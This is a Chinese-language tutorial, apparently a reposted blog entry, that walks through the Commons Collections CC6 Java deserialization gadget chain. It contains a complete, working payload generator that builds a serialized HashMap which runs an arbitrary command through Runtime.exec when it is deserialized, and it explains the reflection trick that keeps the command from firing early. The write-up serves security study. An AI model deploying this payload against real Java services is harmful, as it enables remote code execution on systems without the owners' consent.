java反序列化---cc6链

news2025/2/23 12:07:10

目录

Transformer[]数组分析

链条代码跟进

ChainedTransformer.transform()

LazyMap.get()

TiedMapEntry.getValue()

TiedMapEntry.hashCode()

HashMap.hash()

HashMap.put()的意外触发

LazyMap.get()中key的包含问题


cc6的payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        
		// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

Transformer[]数组分析

首先不看第一行的faketransformer,直接来看第二个数组

数组内new了5个对象,咱们分别来说

1.

new ConstantTransformer(Runtime.class),

咱们跟进这个对象,可以看到就只是将Runtime.class,也就是Runtime这个类的字节码,赋值给到这个对象的iconstant字段

2.

new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),

 这里就不说了,三个赋值

主要是这里,先不管能不能调用到transform这个方法,我们先来看这个方法到底干了什么,首先getClass()拿到对应的对象字节码,然后通过getMethod()拿到方法,之后通过invoke调用

假如可以调用这个transform方法,把我们的参数传进入会发生什么?

这里的input值不知道那就先不看,这里的意思就是,先拿到这个对象的getMethod方法,然后进行调用,也就是再通过getMethod方法获取到了getRuntime这个方法,这里可能有点混,看不懂的小伙伴仔细想想或者调试

 3.

new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),

方法名与第二个一样,所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null'),这里有一点注意,当invoke调用静态方法时,第一个参数永远为空  

4.

new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),

同上,这里的意思是拿到exec方法,并且传参command(main方法里的command参数为calc.exe)

5.

new ConstantTransformer(1),

方法名与第一个相同,这里的意思我猜测应该是回到初始状态,并没有什么实际作用

链条代码跟进

ChainedTransformer.transform()

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

这里我们先不管这个fakeTransformers,跟进ChainedTransformer方法,就只是将参数赋值给到iTransformer数组

我们应该注意的是它下面的代码,transform这个方法,代码具体意思是将iTransformer这个数组遍历,然后递归调用

先不管我们能不能调用这个transform方法,假如我们能调用,那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点

首先来看iTransformer[0].transform(),返回iContant这个字段值,即为Runtime.class

 

此时object的值为Runtime.class,然后到iTransformer[1].transform(),即InvokerTransformer.transform(),是不是很熟悉?那正是我们之前分析过的,而之前的input值也变成了现在的Runtime.class,所以返回值为Runtime.getRuntime()

此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform(),返回值为Runtime.class.getRuntime().invoke()

iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)

所以咱们的payload能够完美地触发,但问题是要想执行payload,就必须触发ChainedTransformer.transform()方法

整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()

LazyMap.get()

接下来就需要我们的LazyMap上场了

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

首先new了一个HashMap,然后再调用LazyMap.decorate()方法,那就跟进decorate方法

 再跟LazyMap构造方法

可以看到最终是将factory赋值为我们的transformerChain,那就找谁用了factory  

终于在LazyMap.get()方法里找到了,并且刚好有我们需要的transform方法,也就是说,这里的factory.transform就等于ChainedTransformer.transform(),那如果谁能调用LazyMap.get()方法,那就能触发我们的payload

TiedMapEntry.getValue()

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

 跟进构造函数后发现依然是我们熟悉的赋值,map已经为LazyMap了,那就寻找谁调用了get方法

一番寻找后,发现TiedMapEntry.getValue()可以触发  

到这里,我们整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()

TiedMapEntry.hashCode()

寻找谁能调用TiedMapEntry.getValue(),TiedMapEntry.hashCode方法就可以

再找谁能调用TiedMapEntry.hashCode()

HashMap.hash()

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

 跟进代码,就是将tme作为键,"valuevalue"作为值

此时key为TiedMapEntry,所以就找谁调用了hashcode方法

刚好HashMap.hash()调用了hashcode方法,更巧的是此时hashmap的readobject方法又调用了hash这个方法,那这样一切都清楚了,当java反序列化我们的构造好的序列化字符串时,调用了hashmap的readobject方法,便直接触发了我们的payload

最后整理一下链条

Runtime.getRuntime().exec()<-----InvokerTransformer.transform<-----ConstantTransformer.transform<-----ChainedTransformer.transform()<-----LazyMap.get()<-----TiedMapEntry.getValue()<-----TiedMapEntry.hashCode()<-----HashMap.hash()<-----HashMap.readObject()

cc链所有的链条都清楚了,但真的完了吗?

HashMap.put()的意外触发

也许还有小伙伴记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?

我们不妨去掉它试试,将之前传入的fakeTransformers改为我们的payload数组

Transformer transformerChain = new ChainedTransformer(transformers);

可以看到在改为我们的payload数组运行后,计算器直接弹出了,这是为什么?

按理来说并不应该触发,因为我们还没有进行反序列化,也就是还没有调用HashMap的readObject方法,也就不应该执行我们的payload,这是为什么呢?

这是因为HashMap.put()方法也调用了hash这个方法,导致我们的payload提前执行

而fakeTransformers解决了我们这个问题

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

 先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了

LazyMap.get()中key的包含问题

最后还有一个问题,那就是这里的key为什么必须删掉?

outerMap.remove("keykey");

 来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1824461.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI绘画入门教学:ComfyUI工作流安装教程

ComfyUI 是专为 Stable Diffusion 打造的图形用户界面&#xff08;GUI&#xff09;&#xff0c;采用了基于节点的操作方式。用户可以通过连接不同的模块&#xff08;即节点&#xff09;来创建复杂的图像生成流程。这些节点涵盖了多样的功能&#xff0c;包括加载检查点模型、输入…

CSS从入门到精通——背景样式

目录 背景颜色 任务描述 相关知识 背景色 编程要求 背景图片 任务描述 相关知识 背景图片 设置背景图片 平铺背景图像 任务要求 背景定位与背景关联 任务描述 相关知识 背景定位 背景关联 简写背景 编程要求 背景颜色 任务描述 本关任务&#xff1a;在本关…

在不损失质量的情况下减小PDF 文件大小的 6 种方法

PDF 文件通常带有大量图形和图像&#xff0c;这可能会使 PDF 文件大小相当大。而当我们通过电子邮件上传或发送具有大小限制的 PDF 时&#xff0c;大型 PDF 经常会带来麻烦&#xff0c;或者大文件占用了太多空间。在这种情况下&#xff0c;在不损失质量的情况下减小 PDF 文件大…

文章MSM_metagenomics(一):介绍

介绍 欢迎大家关注全网生信学习者系列&#xff1a; WX公zhong号&#xff1a;生信学习者Xiao hong书&#xff1a;生信学习者知hu&#xff1a;生信学习者CDSN&#xff1a;生信学习者2 用于复现Huang et al. [huang2024establishment]研究分析的计算工作流程&#xff0c;所有复…

基于51单片机的智能水表

一.硬件方案 本设计主要以51单片机作为主控处理器的智能水表&#xff0c;该水表能够记录总的用水量和单次用水量&#xff0c;当用水量超出设定值时系统发出声光报警提醒&#xff0c;水量报警值能够通过按键进行自行设置&#xff0c;并且存储于AT24C02中&#xff0c;并且可以测…

法国恐脱欧、陷金融危机!股指本周跌6.2%,创三年多最大跌幅

内容提要 法国财政部长警告称&#xff0c;左翼政党联盟若上台可能导致法国脱欧&#xff0c;而且无论极右翼还是左翼上台&#xff0c;都可能导致法国爆发金融危机。由于政坛风险高企&#xff0c;法国股市周五延续跌势&#xff0c;本周已经抹掉2100亿美元市值&#xff0c;几乎回…

RabbitMQ实践——利用一致性Hash交换器做带权重的调度

在《RabbitMQ实践——利用一致性Hash交换器做负载均衡》一文中&#xff0c;我们介绍了如何开启一致性hash交换器&#xff0c;并实现了消息的负载均衡&#xff0c;以达到横向扩展消费者数量的能力。 但是现实中&#xff0c;可能存在这样的场景&#xff1a;一些队列所在的机器配置…

ComfyUI 宝藏插件之辅助工具

今天我们就来分享下这个 ComfyUI 辅助脚本工具的功能。 插件安装&#xff0c;小伙伴们直接在管理器里搜索「ComfyUI-Custom-Scripts」&#xff0c;点击安装就可以了&#xff0c;这里再告诉小伙伴们一个小技巧&#xff0c;点击名称可以跳转到插件所在的官网哦。 没有安装管理器…

linux中DNS域名解析服务(后续补充)

分离解析简介&#xff1a; 分离解析的域名服务器实际也是主域名服务器&#xff0c;这里主要是指根据不同的客户端提供不同的域名解析记录。比如来自内网和外网的不同网段地址的客户机请求解析同一域名时&#xff0c;为其提供不同的解析结果。 实验要求&#xff1a;防火墙要么关…

【第10章】Vue之Element Plus常用组件

文章目录 前言一、表格1. 带斑马纹表格2. 展示 二、分页1.国际化(中文)2.分页代码3. 展示 三、表单1. 表单代码2. 展示 四、卡片1. 卡片代码2. 展示 总结 前言 通过上一章的快速入门&#xff0c;我们已经学习了按钮使用&#xff0c;接下来学习Element Plus的常用组件&#xff…

HTMLCSS详细总结(提高版)

HTML5的新特性 1. HTML5 新增的语义化标签 <div class“header”> </div> <div class“nav”> </div> <div class“content”> </div> <div class“footer”> </div> <header>&#xff1a;头部标签<nav>&#…

Stable Diffusion【应用篇】【艺术写真】:粘土风之后陶瓷风登场,来看看如何整合AI艺术写真吧

在国外的APP Remini引爆了粘土滤镜后&#xff0c;接着Remini又推出了瓷娃娃滤镜。相当粘土滤镜&#xff0c;个人更喜欢瓷娃娃滤镜&#xff0c;因为陶瓷工艺更符合东方艺术审美。 下面我们就来看看陶瓷特效在AI写真方面的应用。话不多说&#xff0c;我们直接开整。 关于粘土整…

day54 动态规划 part10 300.最长递增子序列 674. 最长连续递增序列 718. 最长重复子数组

300.最长递增子序列 动规五部曲 1.dp[i]的定义 dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 2.状态转移方程 位置i的最长升序子序列等于j从0到i-1各个位置的最长升序子序列 1 的最大值。 所以&#xff1a;if (nums[i] > nums[j]) dp[i] max(dp[i], dp…

Trumpf将携其用于光学传感的VCSEL紧凑型激光器精彩亮相

这款卓越的激光器将助力工业环境下的光学传感器焕发新活力。在即将到来的德国纽伦堡传感器测试盛会上&#xff08;6月11日至13日&#xff09;&#xff0c;通快光子元件将献上两场震撼的现场演示&#xff0c;全方位展示其单模VCSEL解决方案的卓越性能。 其中一场演示将深入浅出地…

OPNsense 24.1 - 基于 FreeBSD 的开源防火墙和路由平台

OPNsense 24.1 - 基于 FreeBSD 的开源防火墙和路由平台 请访问原文链接&#xff1a;https://sysin.org/blog/opnsense/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 关于 OPNsense OPNsense 是一个开源、易于使用且易于构建…

Google Earth Engine(GEE)——计算闪闪红星的ndvi的值和直方图(时序分析)

函数: ui.Chart.image.histogram(image, region, scale, maxBuckets, minBucketWidth, maxRaw, maxPixels)

深度解析文件或目录损坏无法读取的应对之道

在数字化时代&#xff0c;数据已成为我们生活和工作中不可或缺的一部分。然而&#xff0c;当遭遇文件或目录损坏且无法读取的困境时&#xff0c;我们可能会面临巨大的挑战。本文将深入探讨这一现象&#xff0c;分析其背后的原因&#xff0c;并提供有效的数据恢复方案&#xff0…

java:自定义注解,并使用【ImportBeanDefinitionRegistrar】动态加载

# 项目代码资源&#xff1a; 可能还在审核中&#xff0c;请等等。。。 https://download.csdn.net/download/chenhz2284/89432848 # 主项目 【pom.xml】 <groupId>com.chz</groupId> <artifactId>chzopen_study</artifactId> <packaging>pom…

MySQL之优化服务器设置(二)

优化服务器设置 InnoDB事务日志(包含:Redo log 重做日志和Undo log回滚日志) 了解清楚"把日志缓冲写到日中文件"和"把日志刷新到持久化存储"之间的不同是很重要的。在大部分操作系统中&#xff0c;把缓冲写到日志只是简单地把数据从InnoDB的内存缓冲转移…

门控循环单元GRU与长短期记忆网络LSTM

门控循环单元与长短期记忆网络 门控隐状态 问题提出&#xff1a;对于一个序列来说不是每个观察值都是同等重要想只记住相关的观察需要&#xff1a; 能关注的机制&#xff08;更新门&#xff09;能遗忘的机制&#xff08;重置门&#xff09; 第一个词元的影响至关重要。 我们…